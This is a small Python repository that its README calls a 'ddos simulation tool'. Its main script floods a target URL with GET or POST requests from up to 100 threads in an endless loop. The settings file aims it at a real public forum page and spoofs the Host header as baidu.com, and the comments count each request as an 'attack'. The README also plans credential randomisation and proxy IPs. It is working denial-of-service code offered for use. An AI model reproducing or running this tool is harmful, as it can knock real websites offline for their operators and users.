├── .gitignore ├── README.md ├── main.py ├── settings.py └── ddos.py /.gitignore: -------------------------------------------------------------------------------- 1 | __*__ -------------------------------------------------------------------------------- /README.md: -------------------------------------------------------------------------------- 1 | # README 2 | 3 | A ddos simulation tool using python's multi-threading. 4 | 5 | ## Functions 6 | * GET/POST access 7 | * Customized param/data 8 | 9 | ## TODO 10 | - [ ] Random user/pass generation 11 | - [ ] Agent IP 12 | -------------------------------------------------------------------------------- /main.py: -------------------------------------------------------------------------------- 1 | from ddos import Ddos 2 | from settings import * 3 | 4 | if __name__ == '__main__': 5 | dos = Ddos(url=URL, methodId=METHOD_ID, 6 | maxThread=MAX_THREAD, headers=HEADERS) 7 | dos.start() 8 | 9 | import os 10 | os.system("pause") 11 | -------------------------------------------------------------------------------- /settings.py: -------------------------------------------------------------------------------- 1 | URL = 'https://bbs.csdn.net/topics/391544754' 2 | METHOD_ID = 0 # 访问方法,0-GET 1-POST 3 | MAX_THREAD = 100 # 最高同时访问线程数量 4 | TIMEOUT = 10 5 | 6 | HEADERS = { 7 | 'Accept': 'text/html, application/xhtml+xml, image/jxr, */*', 8 | 'Accept - Encoding': 'gzip, deflate', 9 | 'Accept-Language': 'zh-Hans-CN, zh-Hans; q=0.5', 10 | 'Connection': 'Keep-Alive', 11 | 'Host': 'www.baidu.com', 12 | 'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/52.0.2743.116 Safari/537.36 Edge/15.15063' 13 | } 14 | 15 | GET_PARAM = { 16 | 17 | } 18 | POST_DATA = { 19 | 20 | } 21 | -------------------------------------------------------------------------------- /ddos.py: -------------------------------------------------------------------------------- 1 | from requests.exceptions import ConnectionError, ConnectTimeout 2 | from threading import Thread 3 | from urllib3.exceptions import MaxRetryError, ConnectTimeoutError 4 | 5 | import requests 6 | import signal 7 | 8 | 9 | class Ddos: 10 | 11 | def __init__(self, url='https://www.baidu.com', methodId=0, maxThread=100, 12 | headers={}, getParam={}, postData={}, timeout=10): 13 | self.attackCount = 0 # 攻击次数计数 14 | self.runningThread = 0 # 正在运行的线程数 15 | self.status_code = 0 # 最新状态码 16 | 17 | self.setUrl(url) 18 | self.setMethod(methodId) 19 | self.setMaxThread(maxThread) 20 | 21 | self.setHeaders(headers) 22 | self.setGetParam(getParam) 23 | self.setPostData(postData) 24 | 25 | self.setTimeout(timeout) 26 | 27 | # ddos开始 28 | def start(self): 29 | # 监听ctrl+c中断信号 30 | signal.signal(signal.SIGINT, exit) 31 | signal.signal(signal.SIGTERM, exit) 32 | 33 | while True: 34 | if self.runningThread < self.maxThread: 35 | t = Thread(target=self.attack, name=str(self.attackCount)) 36 | t.setDaemon(False) 37 | t.start() 38 | self.flush() 39 | 40 | # 一个攻击线程所使用的攻击方法 41 | def attack(self): 42 | self.runningThread += 1 43 | self.attackCount += 1 44 | try: 45 | if self.methodId == 0: 46 | res = requests.get(self.url, params=self.getParam, 47 | headers=self.headers, timeout=self.timeout) 48 | elif self.methodId == 1: 49 | res = requests.post(self.url, data=self.postData) 50 | # 更新状态值 51 | self.status_code = res.status_code 52 | except ConnectionError: 53 | print('[Error]: ConnectionError.') 54 | except ConnectTimeout: 55 | print('[Error]: ConnectTimeout.') 56 | except ConnectTimeoutError: 57 | print('[Error]: ConnectTimeoutError.') 58 | except MaxRetryError: 59 | print('[Error]: MaxRetryError.') 60 | else: 61 | pass 62 | finally: 63 | self.runningThread -= 1 64 | 65 | # 刷新当前攻击状态数据 66 | def flush(self): 67 | print('Threads: ', self.runningThread, 68 | ' StatusCode: ', self.status_code, 69 | ' AttackCount: ', self.attackCount) 70 | 71 | def setUrl(self, url): 72 | self.url = url 73 | 74 | def setMethod(self, methodId): 75 | # 0:get; 1:post 76 | self.methodId = methodId 77 | 78 | def setMaxThread(self, maxThread): 79 | self.maxThread = maxThread 80 | 81 | def setHeaders(self, headers): 82 | self.headers = headers 83 | 84 | def setGetParam(self, getParam): 85 | self.getParam = getParam 86 | 87 | def setPostData(self, postData): 88 | self.postData = postData 89 | 90 | def setTimeout(self, timeout): 91 | self.timeout = timeout 92 | --------------------------------------------------------------------------------